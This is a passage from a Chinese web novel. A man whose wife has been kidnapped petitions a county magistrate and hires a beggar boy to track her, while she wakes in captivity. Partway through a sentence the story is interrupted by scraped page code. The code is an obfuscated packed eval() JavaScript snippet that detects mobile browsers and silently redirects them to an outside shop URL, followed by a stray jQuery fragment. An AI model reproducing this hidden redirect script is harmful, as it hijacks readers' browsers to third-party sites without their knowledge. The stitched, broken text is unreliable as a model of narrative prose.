从来没有哪一刻,殷沭商这么痛恨自己的无能。
明明是该他护谷嵇瑶周全,到头来却变成她护自己周全。
他急得恨不得追上去跟他们同归于尽。
可一直安安静静,竭尽全力不让自己哭闹的殷阑修,在看到母亲被人带走的那一刻,哭得撕心裂肺的。
明明一直都不会说话的人,竟是在这危难时刻学会了“娘亲”一词。
从一开始的生涩,到最后的熟练,一声又一声,叫人闻之动容。
只是可惜,本该听他喊叫的人早已不在原地。
而他似乎也正意识到了这一点,稚嫩的嗓音哭得沙哑干涩。
他崩溃转身,小小的手臂紧紧圈着殷沭商的脖颈。
似乎只要他抱得紧一点,就能弥补刚刚没抱紧谷嵇瑶的遗憾。
父子俩看起来有多凄惨就有多凄惨。
最后也不知道是不是殷阑修闹得厉害,一直呆站原地,木愣愣的殷沭商终于动了起来。
不过一炷香时间,白日才有人敲过的大鼓,又一次被人敲得砰砰响。
“谁啊?这大半夜的!”
被巨大的鼓声惊醒,衙役们骂骂咧咧地走了出来。
开门,见外面站着的还是个白日里见过的老熟人,衙役们颇有些不耐烦,以为他是过来询问那刘通祺被处置的结果的,嘴巴更是抱怨个没完。
不想,他们说了半天,男人却没半点反应,只扑通一声跪下,声声泣血道:“草民有冤!”
大半夜被抓起来开堂伸冤的某县令:……
这县令不做也罢!
只是,再怎么不想做,他也得先将这关过了。
他正正衣领,拿起惊堂木狠敲一顿,“堂下何人击鼓鸣冤?”
“草民,殷沭商鸣冤。”
“噢?是为何事鸣冤?”
“草民为草民的妻子谷嵇瑶鸣冤!”他将自己妻子遇难的经过结果全都说了一遍,带着最后的沉重希望,他朝堂上县令真心诚意地磕了一个头!
对他说的妻子,县令还有点印象。
毕竟白日里发生的事情才过了没多久。
当时就听人说他那妻子有点邪门,好像是可以帮人提高运气什么的。
他原还想过两天再请他妻子过来一探究竟呢。
不想,有人的动作比他还快,他前脚想,人后脚就干了。
还是直接在他管辖的地盘内掳人,还真当他这个县令不存在了是吧?
于是,县令一怒,当即便派人同殷沭商回到谷嵇瑶被绑架的现场勘探,致力今晚探勘,明日就破案。
等他找到哪个人这么目中无人,他非得关他一年半载不可。
只是,让县令没想到的是,那些人还真挺有手段,勘探现场的衙役什么都没发现,就连他们想追踪这群人的行动轨迹都没能办到。
“岂有此理!”县令没想到这事竟这么难办,不过也正是难办,才让他激起了前所未有的斗志。
而殷沭商这边丢了老婆也没心情再回王家村了,他用身上仅有的一点积蓄租了一个房子。
每日都带着殷阑修在外奔走,想调查谷嵇瑶的去向。
一连好几日,不仅是他这里,就连县令都没找到有关谷嵇瑶的消息。
事情又一次进入了僵局。
就在殷沭商灰头土脸,不知道该怎么办的时候,一个熟悉的小小身影在他面前一闪而过。
仅仅一瞬,他就想起了刚才看到的那小小身影是谁,他半秒没耽搁,抱着殷阑修就追了上去。
穿过几条小巷,又拐了数个弯后,他终于来到一个破败的宅院中。
还没靠近,他就闻到了一股不太美妙的气味。
不过殷沭商只停顿了一下,他面不改色踏过眼前塌了一半的门槛。
入眼,就是一双双好奇警惕的目光。
他们或成群结队,或三三两两各据一方。
只是在面对明显不是同类的他,他们才不动声色地靠到了一起。
“你是谁?来这里做什么?这里是我们的地盘你不知道吗?”
良久,人群中,一名年岁比他们都稍长的半大少年站了出来。
见他们满脸防备,殷沭商知道自己这是惊扰到他们了。
他不由自主地后退一步,尽量留出让他们安心的距离才道:“抱歉,我无意冒犯,只是想来找一个人!”
“找谁?”
殷沭商在人群中逡巡了一遍,试图从这么多张陌生面孔中找到自己见过的那一张。
可惜,待在这里的人大多都与他曾经见过的那个男孩差不多。
不是衣衫褴褛,就是面如“土色”,对仅有一面之缘的他来说,还真没办法将他在人群中辨认出来。
“呃……”停顿半晌,殷沭商才想到适合的话语,他道:“前天夜里,有名小友帮了我一个大忙,让我成功从歹人手中救下妻子,对此,我十分感激,于是便想在事情安定下来时,再对他重谢一番。只是不想,只一会儿,我就将人追丢了……”
殷沭商面露遗憾,似对此十分懊恼的样子,“我还不知道那名小友的名姓,又因当时救人匆忙,还正逢黑夜,连他的样子我也记得不太清了,实在是惭愧……”
他深深叹了一口气,“我家里还好多米粮,不承想,连给恩人送一袋都送不成!”
听他说明来意,众人面面相觑沉默了好久。
就在殷沭商以为这小孩谨慎到不敢承认的程度时,在人群身侧,一道不怎么明显的木门被从内推开,“你找我?”
男孩双眼亮亮的,似对他说的一袋米粮期待得不得了。
殷沭商挑眉,双目定定盯着眼前的男孩瞧了许久。
“怎么不说话?”见他沉默,男孩还以为他想反悔,“方才你说想要送我一袋米粮,可是认真的?”
男孩身高不过一米,与那天晚上所见之人相差无几。
再对上男孩的形貌特征,殷沭商虽然基本确认这个男孩就是他要找的人,可他还是没第一时间答应,而是问他,前天晚上他们相遇的地点,以及要去的地方。
在将这些问题都对上号之后,殷沭商才算彻底相信这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623397|204256||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小乞儿,就是哪天晚上帮了他的那个男孩。
出于对屋子里其他人的不信任,他先请男孩借一步说话,等两人都来到一个只有俩人的地方时,他方才将自己的来意说了出来。
刚还心有成竹,一副大人模样的他,在诉说妻子又丢了时是那样无助与心虚。
“不知道小友还有没有办法帮我再一次探听妻子的行踪,如果成功找到掳走我妻子的恶人,别说是一袋米粮,就算小有想要我整个地窖的米粮,我亦甘愿双手奉上,只求小友再帮我一把。”
他也是没办法了,无论是他,还是官府的人都没有探查到谷嵇瑶的行踪。
已经过去了好几日,他害怕,若是再找不到她,她会出什么事!
那群人目标明确,肯定是知道了那日发生的事,知道他们是听了刘通祺之言,想尝试一下谷嵇瑶的能力。
不说别人,就说他跟在谷嵇瑶身边那么久,都始终没搞懂谷嵇瑶的真正能力是什么。
让人运气变好似乎也是随即性的,比较稳定的作用还是点在种植上,那么多村民,就一个刘通祺得到了好运的性质。
他不知道那群人想要的是什么,如果是种植,他还不需要那么担心。
倘若他们想要的是跟刘通祺一样的好运,那要是谷嵇瑶剪完头发,没达到他们想要的标准,他们会不会认为她是故意的?又或是觉得她原来是在弄虚作假?而恼羞成怒……
殷沭商甩甩脑袋,不敢再想下去,这样的念头一出,他本就焦躁不安的心,此时变得更加焦灼急迫了。
想到小乞儿原来的神通广大,又想他们混迹在街头巷尾,或许真有自己意想不到的消息渠道也不一定。
于是,从来只体会过被嫌弃被厌恶的小乞儿,第一次感受到被委以重任是一种什么样的心情。
知道他们拒绝不了粮食的诱惑,殷沭商几乎将自己的全副身家都压了上去。
小乞儿思索了半晌,确实就如他所想的那样,根本无力抵抗来自食物的诱惑!
于是,为了拿下那一地窖的食物,小乞儿代伙伴们单方面答应了殷沭商的委托。
*
却说谷嵇瑶这边,当初为了安抚那群人不对殷沭商下杀手,她委屈自己提出了交换条件。
当事情就如她计划中那样,他们放了殷沭商,选择带走她,她是松了一口气的。
心想,她有剪刀,还有系统,怎么也比殷沭商活着的胜算大。
就算运气再差吧,多少也能给她剪到几根头发吧?
不需要多,只需要几根,她就有办法逃脱这群人的摆布。
不想,这群人似乎早就知道了她的能力一般,还不等她出手呢,一块被加了料的抹布就被按到了她的脸上。
谷嵇瑶:……
好熟悉的场面,好熟悉的剧情!
一般电视上这么演的时候,她就会激动地大喊,屏住呼吸,快屏住呼吸,只要不吸入迷药,就什么事都不会有!
毕竟这里是古代,古代的迷药哪里有现代的麻醉牛逼,只要不呼吸就完全可以躲过的好嘛!